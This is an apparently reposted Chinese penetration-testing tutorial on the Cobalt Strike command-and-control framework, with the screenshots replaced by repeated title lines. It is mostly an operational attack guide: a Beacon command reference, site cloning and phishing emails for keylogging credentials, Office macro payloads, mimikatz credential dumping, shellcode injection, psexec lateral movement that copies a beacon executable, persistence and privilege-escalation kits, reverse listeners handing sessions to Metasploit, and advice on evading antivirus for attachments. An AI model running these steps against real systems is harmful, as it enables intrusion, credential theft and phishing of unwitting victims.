系统架构的支持
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire

攻击模块

渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire |名称 |功能 | | ———— | ———— | |HTML Application |基于powershell的.hta格式的HTML Application木马,分为可执行文件、PowerShell、VBA三种方法 | |MS Office Macro |office宏病毒文件 | |Payload Generator |基于C、C#、COM Scriptlet、Java、Perl、PowerShell、Python、Ruby、VBA等语言的payload | |USB/CD AutoPlay |利用USB/CD自动播放运行的木马 | |Windows Dropper |捆绑器 | |Windows Executable |生成32位或64位的exe和基于服务的可执行文件、DLL等后门 | |Windows Executable(S) |生成可执行文件,支持powershell脚本,提供代理功能 |

Web Drive-by基于WEB的攻击模块
|名称   | 功能  |
| ------------ | ------------ |
|Manage   |管理开启的模块  |
|Clone Site   |克隆网站   |
|Host File   |提供文件下载   |
|Scripted Web Delivery   |基于Web的攻击Payload   |
|Signed Applet Attack   |运行java自签名的攻击模块   |
|Smart Applet Attack   |自动检测Java版本并利用已知的exploits攻击   |
|System Profiler   |信息探测模块   |

视图模块

|Applications   |显示靶机应用信息   |
| ------------ | ------------ |
|Credentials   |显示密码(hashdump和mimikatz获取的)   |
|Downloads   |下载文件   |
|Event Log   |事件日志   |
|Keystrokes   |键盘记录   |
|Proxy Pivots   |代理信息   |
|Screenshots   |屏幕截图   |
|Script Console   |加载脚本   |
|Targets   |查看目标   |
|Web Log   | 查看web日志  |

创建powershell脚本
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
复制脚本到目标机执行即可上线.
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire

交互

右键目标机Interact进入交互模式
Access    
Dump hashes    获取密码
Elevate    提权
Golden Ticket    黄金票据注入会话
Make token    制作令牌
Run Mimikatz    运行mimikatz
Spawn As    以靶机其他用户权限生成会话
Explore    
Browser Pivot    劫持浏览器
Desktop(VNC)    远程VNC
File Browser    文件管理
Net View    执行命令net view
Port scan    端口扫描
Process list    进程列表
Screenshot    截图
Pivoting        
SOCKS Server    代理
Listener    已获权限的机器当作监听器(反向端口转发)
Deploy VPN    部署VPN
Spawn    
派生会话:联动MSF或Armitage    
右键执行mimikatz即可获取hash及明文密码
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
视图->凭证信息列出密码,类似empire的creds命令
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire

Beacon

argue                     进程参数欺骗
blockdlls                  阻止子进程加载非Microsoft DLL
browserpivot              注入受害者浏览器进程
bypassuac                绕过UAC提升权限
cancel                    取消正在进行的下载
cd                        切换目录
checkin                   强制让被控端回连一次
clear                     清除beacon内部的任务队列
connect                   Connect to a Beacon peer over TCP
covertvpn                 部署Covert VPN客户端
cp                        复制文件
dcsync                    从DC中提取密码哈希
desktop                   远程桌面(VNC)
dllinject                   反射DLL注入进程
dllload                    使用LoadLibrary将DLL加载到进程中
download                 下载文件
downloads                列出正在进行的文件下载
drives                     列出目标盘符
elevate                    使用exp
execute                   在目标上执行程序(无输出)
execute-assembly         在目标上内存中执行本地.NET程序
exit                       终止beacon会话
getprivs                   Enable system privileges on current token
getsystem                 尝试获取SYSTEM权限
getuid                     获取用户ID
hashdump                  转储密码哈希值
help                       帮助
inject                      在注入进程生成会话
jobkill                     结束一个后台任务
jobs                       列出后台任务
kerberos_ccache_use       从ccache文件中导入票据应用于此会话
kerberos_ticket_purge     清除当前会话的票据
kerberos_ticket_use       Apply 从ticket文件中导入票据应用于此会话
keylogger                 键盘记录
kill                      结束进程
link                      Connect to a Beacon peer over a named pipe
logonpasswords            使用mimikatz转储凭据和哈希值
ls                        列出文件
make_token                创建令牌以传递凭据
mimikatz                  运行mimikatz
mkdir                     创建一个目录
mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http                 使用HTTP作为通信通道
mv                        移动文件
net                       net命令
note                      备注       
portscan                  进行端口扫描
powerpick                 通过Unmanaged PowerShell执行命令
powershell                通过powershell.exe执行命令
powershell-import         导入powershell脚本
ppid                      Set parent PID for spawned post-ex jobs
ps                        显示进程列表
psexec                    Use a service to spawn a session on a host
psexec_psh                Use PowerShell to spawn a session on a host
psinject                  在特定进程中执行PowerShell命令
pth                       使用Mimikatz进行传递哈希
pwd                       当前目录位置
reg                       Query the registry
rev2self                  恢复原始令牌
rm                        删除文件或文件夹
rportfwd                  端口转发
run                       在目标上执行程序(返回输出)
runas                     以其他用户权限执行程序
runasadmin                在高权限下执行程序
runu                      Execute a program under another PID
screenshot                屏幕截图
setenv                    设置环境变量
shell                     执行cmd命令
shinject                  将shellcode注入进程
shspawn                   启动一个进程并将shellcode注入其中
sleep                     设置睡眠延迟时间
socks                     启动SOCKS4代理
socks stop                停止SOCKS4
spawn                     Spawn a session 
spawnas                   Spawn a session as another user
spawnto                   Set executable to spawn processes into
spawnu                    Spawn a session under another PID
ssh                       使用ssh连接远程主机
ssh-key                   使用密钥连接远程主机
steal_token               从进程中窃取令牌
timestomp                 将一个文件的时间戳应用到另一个文件
unlink                    Disconnect from parent Beacon
upload                    上传文件
wdigest                   使用mimikatz转储明文凭据
winrm                     使用WinRM横向渗透
wmi                       使用WMI横向渗透
执行命令,在beacon模式下键入shell+命令
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
>sleep 0 交互模式,立刻执行命令
注入DLL到某个进程
>dllload [pid] [c:\path\to\file.dll] DLL需在目标上
>kerberos_ticket_purge 清除票据
>kerberos_ccache_use    [/path/to/file.ccache]  从ccache文件导入票据
>kerberos_ticket_use [/path/to/file.ccache] 从ticket文件导入票据
>kill pid 结束进程
>timestomp [fileA]    [fileB] 修改文件时间戳
>getuid     获取当前用户
>steal_token [pid] 窃取进程ID
>rev2self 恢复原始令牌
>powershell-import    [/path/to/local/script.ps1] 导入PS模块 
>shinject [pid] <x86|x64> [/path/to/my.bin] 向进程注入shellcode
>socks    port在指定端口开启代理
>socks stop停止代理
>rportfwd [bind port]    [forward host]    [forward port]开启端口转发

克隆网站

Attacks -> Web Drive-by -> System Profiler
Redirect url设置为目标站,登录成功会挑战到真实网站
钓鱼攻击->克隆网站
克隆地址写入要克隆的网站
Attack选择刚刚收集信息的网站
Web日志界面可记录键盘
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
攻击->钓鱼攻击管理->web服务管理中,可kill掉刚刚的任务
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire

office宏

渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire

钓鱼邮件

新克隆一个网站
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
Embed URL选择克隆好的网站
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
里面的超链接已经被Embed URL克隆好的URL替换掉了
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
若是要加载附件,需注意附件的免杀

加载脚本

https://github.com/rsmudge/ElevateKit 提权脚本
>git clone https://github.com/rsmudge/ElevateKit.git
>git clone https://github.com/TheKingOfDuck/myScripts.git
Cobalt Strike -> Scripts 选择elevate.cna加载
提权的EXP列表就会增加已经加入的模块

浏览器劫持

beacon 设为交互模式
beacon> sleep 0
[Beacon] → Explore → Browser Pivot
选择打对勾的注入,会返回一个proxy,服务器IP+端口
>chromium --no-sandbox --ignore-certificate-errors --proxy-server=服务器IP:端口
访问网址

权限维持

https://github.com/DeEpinGh0st/Erebus
加载 cna 脚本
Cobalt Strike → Script Manager → Load → Erebus 中的 Main.cna
生成 Payload
Attacks → Packages→ Windows Executable(S)
Erebus → Persistence选择维持方法

横向

扫描存活主机
>portscan ip/网段 ports端口 扫描协议(arp、icmp、none) 线程
>portscan 192.168.1.0/24 445 arp 100
或右键目标>扫描
点击工具栏的View–>Targets,查看端口探测后的存活主机。(Targets可自行添加)
Login->psexec进行hash传递登录

隔离网络

权限机中转

Pivoting ->Listener新建一条已有权限机器的监听器
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
选择 Attacks->Packages->Windows Executable(Stageless) 
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
上传生成的payload到已上线的目标机中,上传PsExec.exe
beacon>shell C:\psexec.exe -accepteula \\10.1.1.105 -u administrator -p xxx -d -c C:\beacon.exe
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire

SMB_beacon

新建监听器(bind)windows/beacon_smb/bind_pipe
执行
>psexec 机器名 ADMIN$/c$ bind

SSH login

>ssh 10.1.1.98:22 root admin
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire

代理

>socks 690
视图->代理信息-tunnel 直接复制,粘贴到MSF中

部署VPN

渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
选择内网网卡
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
添加
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
删除
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire

Cobalt strike派生 Empire和MSF

派生Empire

创建一个Listener
创建一个stager
>usestager windows/shellcode 执行,会生成/tmp/launcher.bin
CS 使用PS命令查找进程,进行进程注入(>shinject 进程id x64),选择launcher.bin即可

派生MSF

使用CS的外部监听器
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
msf开启监听
cobalt strike会话主机上点击spwan,创建外部监听器,选择windows/foreign/reverse_tcp指定MSF监听的IP和端口即可

可添加的工具集

https://github.com/outflanknl/C2-Tool-Collection
添加机器账户
枚举域信息
AD密码喷射等
https://github.com/k8gege/Ladon

上线提醒

https://github.com/sry309/cobalt_strike_bot

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注